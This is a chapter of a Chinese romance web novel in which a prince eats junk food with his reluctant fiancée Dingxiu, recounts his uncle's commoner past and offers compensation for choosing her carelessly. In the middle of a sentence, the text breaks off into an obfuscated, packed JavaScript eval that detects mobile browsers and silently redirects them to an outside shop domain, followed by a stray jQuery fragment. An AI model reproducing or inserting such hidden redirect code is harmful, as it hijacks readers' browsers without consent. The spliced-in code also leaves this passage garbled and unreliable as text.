直到崔鸣玉拆开了一包膨化食品并且主动递给她的时候,定绣才稍稍反应过来。

    原来王子殿下也会吃垃圾食品啊!

    崔鸣玉拆完给她的,又给自己拆了一包:“你好像很惊讶,是觉得我不会吃这种膨化食品么?”

    定绣:“……”

    靠,难道你也会读心?这是什么王室成员必备技能吗?

    “……太明显了。”崔鸣玉看着她,“你的表情。”

    “……”

    定绣迅速垂下眼睛。

    可恶,又被看穿了。

    “不过你的惊讶是对的。”崔鸣玉又道,“他们的确不允许我吃这些膨化食品,不过没关系,我可以背着他们偷偷吃。”

    他说着,拍了拍那只皮箱。

    定绣这才注意到,这只箱子好像是某个高订品牌用来装鞋的鞋盒。

    “我藏过很多地方。”崔鸣玉迎着她的目光笑了一笑,“甚至还在马桶水箱里藏过一整包水果糖,第二天女佣来打扫的时候,看到整个马桶被染成红色,还以为我得了肾炎。”

    他还记得,当时整个屋子里都响起了她的尖叫,甚至当天就来了三波国家级的医疗团队研究他的尿液里为什么会出现葡萄糖浆和吉利丁的成分。

    当然,最后被发现只是一个乌龙后,他还被教习嬷嬷罚抄了一整本的规律条例。

    定绣听到这里,显然是有些同情。

    垃圾食品有什么错呢?爱吃垃圾食品又有什么错呢?

    这个破王室规矩还真是多啊!

    不过她没敢说出来,只敢在心底嘀嘀咕咕。

    ——老板对着你吐槽公司的时候,你千万不要跟着吐槽。

    “好啦,你还有什么问题,都可以问我。”崔鸣玉道,“我都可以向你解释。”

    他注视着定绣,后者虽然没说什么,但是显然已经开始放松了下来,表情也没有一开始那么紧绷了。

    “我想问,亲王殿下到底是出于什么目的,想要到我家来成为执事?”

    这个问题,定绣早就想问了。

    很吓人好不好!

    崔鸣玉歪了一下脑袋:“关于这个,请你不要介意,其实一开始选定前往教习你的人并不是叔叔,是叔叔主动提出要前往你家,亲自教导你的。”

    至于理由,择礼当时提出的说辞是“王室的规矩繁琐累赘,宫里的教习老师刻板严厉,教出来的王子妃只会一味地刻板而程式化”。

    这个说法早就在民间有所流传。

    当时民众的说辞是王室的联姻对象都是千篇一律的雷同——贵族血脉、高贵优雅、行事完美、滴水不漏,任何的社交场合都会露出优雅的微笑——但也就仅此而已了。

    他们从嫁入王室的那一天起就失去自己的姓氏与行事风格,一举一动都按照规矩教条来进行,循规蹈矩、一丝不苟,就像是被操控着的提线木偶。

    任何的私人情绪与行为模式,甚至是穿衣风格都不允许表露在公众面前。

    他们永远“完美无瑕”。

    也正因为如此,先前的那个“平民王妃”才会格外招人喜欢。

    因为她和这些“流水线产品”不一样。

    她会大笑,会奔跑,会穿破洞的牛仔裤(很多洞,很多水钻),会关心那些吃不饱饭的平民,会站在举着横幅抗议的民众的身边,会救助濒危的野生动物,会为工人争取属于他们的工资。

    她是如此的与众不同。

    只可惜,她英年早逝。

    百姓们现在也只能在回忆之中缅怀着她。

    甚至民间传闻里还因此产生了阴谋论。

    说王妃是因为王室的蓄意谋杀而死。

    如果能再诞生一位新的平民王妃,似乎就能破除一些流言蜚语。

    也能更好地巩固王室的形象。

    只不过,当时的择礼提出这个想法的时候,元老院里至少一半人持反对意见。

    但他是亲王殿下,所以反对无效。

    定绣擦干净手上的薯片渣渣,自然而然地拆了一包新的:“可是,亲王殿下为什么会那么熟练啊?”

    这不对吧?

    他一个天龙人怎么扮演起打工人来了?!

    崔鸣玉闻言,轻轻地眨了一下眼睛:“怎么,他没有跟你说起过么?”

    定绣:“……啊?”

    说什么?

    崔鸣玉道:“我的父亲只是平民出身,我母亲遇到他的时候,他抱着尚在襁褓中的叔叔在做勤工俭学。”

    那个时候的崔父不过十七岁,择礼也才几个月大而已。

    因为他是平民出身,元老院极力反对女王把他带回王宫。

    不过后来他们有了崔鸣玉,元老院就默许他们可以进出王宫,但仍然无名无份。

    崔父无名无份,择礼就更加啥也不是。

    于是年幼的他只能暂时被寄养在别人家。

    那个寄养家庭干的是非法托班,特指帮忙照顾一些黑户和非法移民的孩子。

    择礼也会帮忙照顾孩子,教他们功课。

    直到后来崔父死了,元老院才终于松口同意给他追封。

    他活着的时候别想玷污王室形象,死了的话倒是可以把他包装成女王的浪漫爱情故事(之一)。

    女王出于对崔父的愧疚,将未能追封的亲王之位封给了择礼,并将他带回王宫,和崔鸣玉一起教养。

    那个时候他已经十三岁了——在那个寄养家庭的黑心家庭作坊里经营得熟门熟路。

    定绣:怪不得他有当打工人的天赋。

    再一想,突然也不是不能理解崔鸣玉的叛逆。

    女王会爱上平民,他到时候也会爱上平民身份的女主——xp这玩意儿主打的就是一个一脉相承。

    说到这里,崔鸣玉有些好奇地看向她:“这些,你竟然都不知道?”

    ——这个假期你说你一直都在执事的管制下努力学习,你到底都在学些什么,又都学到哪里去了?

    定绣:“……”

    够了,不要和安诺问一样的问题来暴露她只是个学渣基本上学习的时候都是左耳朵进右耳朵出,上一秒的事情下一秒就能忘的事实啊!

    至少她付出了努力不是吗!

    至少她有那个学习的态度不是吗!

    崔鸣玉顿了一下:“就算叔叔没教过,用手机好像也能在凡客百科上搜索出来。”

    定绣心虚地移开目光:“……”

    有手机当然是要玩手机了,谁没事搜那个!

    她整个假期除了学习就是刷剧看番追漫听书看电竞实况玩竞技游戏——

    谁有功夫上课见你们下课还见你们!

    不过,崔鸣玉并没有在这个问题上纠结太久。

    他耐心地等待了一会儿,见定绣没有别的话要说了,才开口:“你不想问一些其他的问题吗?譬如——有关于我们的?”

    定绣有些呆滞:“……”

    关于他们的?

    他们之间可什么都没有啊!

    “我想,我需要向你说明一些事情,以免在这之前产生更多误会。”说到这里,崔鸣玉垂下长长的眼睫毛,“我当初选择你,只是因为一时的赌气——还望你不要误会,也希望你能够原谅。”

    定绣:“噢。”

    原来他说的“关于”是这个意思啊。

    崔鸣玉听到她的回应,又稍稍抬起眼帘:“对此,我会对你进行经济上的弥补,到时候取消婚约的时候,我还会对你加赠不动产的补偿。”

    定绣:“……噢。”

    话说回来,他不是被制裁了吗?他哪来的钱补偿?不过这不重要,她只需要“噢”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507380|202340||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    就行了。

    崔鸣玉观察着她的表情:“你似乎一早就知道这些事情。”

    她看起来既不惊讶,也不愤怒。

    他甚至做好了她会哭会闹甚至扑上来扇他一耳光的准备,但这个准备显然有些多余。

    可是——

    为什么?

    他有些困惑。

    明明——

    明明她做了这么多——努力地学习那些王室课程,维持着亲民的形象,有意和他选一样的专业课……

    定绣忍不住打断了他:“我需要打断一下,王子殿下,是谁告诉你,做这些事情就代表我喜欢你的?”

    崔鸣玉反问道:“……难道不是吗?”

    他不懂。

    努力地改变自己,迎合另一个人,不就是所谓的爱吗?

    就连父亲也是这么做的,就连他们身边的人都是这么做的。

    努力地去改变自己,努力地去迎合喜欢的人。

    只是他讨厌这样的爱。

    你迎合我,我迎合你,不过是互相打磨成最合适的形状,最后大家都变成千篇一律的人。

    ——太无聊了。

    定绣:“……”

    槽点太多,她不知道该从哪里吐起。

    这崔鸣玉从哪里学到的乱七八糟的恋爱观?

    “如果不是为了我,那就是为了你的‘准王子妃’的身份吗?”崔鸣玉道,“如果是那样的话,等我继位以后,也可以重新加封你的爵位和领地。”

    他知道定绣家的很多产业都被那个领主拿去还赌债了,他完全可以帮她重新赎回来。

    定绣:“……你开了这么多条件,目的是为了补偿我?”

    崔鸣玉轻轻地点了一下头。

    定绣:“……行,那我原谅你了。”

    有钱不赚王八蛋。

    不过她突然想起了什么,又问:“那个TT上的关注动态也是对我的补偿吗?”

    崔鸣玉安静了片刻,继续点头。

    如果在定绣做了这么多的前提之下,他仍旧毫无回应,只会让某些恶意揣测的媒体把所有的脏水泼到定绣身上。

    崔鸣玉想到了先前王室成员里的一个男爵夫人,因为政治联姻,她和丈夫之间毫无感情基础。

    丈夫对她进行了持续的婚内冷暴力,甚至还买通了新闻媒体,让他们刊登了他所谓的挚爱,以此来逼迫她提出离婚。

    最后,那位男爵夫人因为丈夫和舆论被逼割腕,而男爵被除名流放,终身不得再踏入国境内。

    崔鸣玉不愿意这样的悲剧重演。

    更何况,目前的局面本来就是他一手导致的,是他随便地选了定绣。

    于是他选择做出这样的回应,作为弥补,也能让外界少一点对她的恶意的揣测与中伤。

    不过定绣无所谓这个。

    炮灰女配本来就是干这个的。

    不过现在得知定绣同样不喜欢自己之后,他反而——

    ……应该松了一口气?

    于是崔鸣玉重复了一遍:“你不喜欢我。”

    定绣点了点头。

    崔鸣玉继续道:“你也知道我不喜欢你。”

    定绣继续点头。

    “是谁告诉你的?”崔鸣玉问。

    定绣:“?”

    这个是什么逻辑?

    这还需要人来告诉她吗?

    他选妃的时候看都不看就直接选了,还选的是她这样一个三百六十度无死角普通人,直到开学才真正见面并加上联系方式——

    有眼睛的人都能看出来他不喜欢她好不好!

    不过也不一定。

    毕竟崔鸣玉这个恋爱观似乎有点问题。

    定绣听到他在继续问:“是沈观么?”

    定绣:“???”

    ……诶?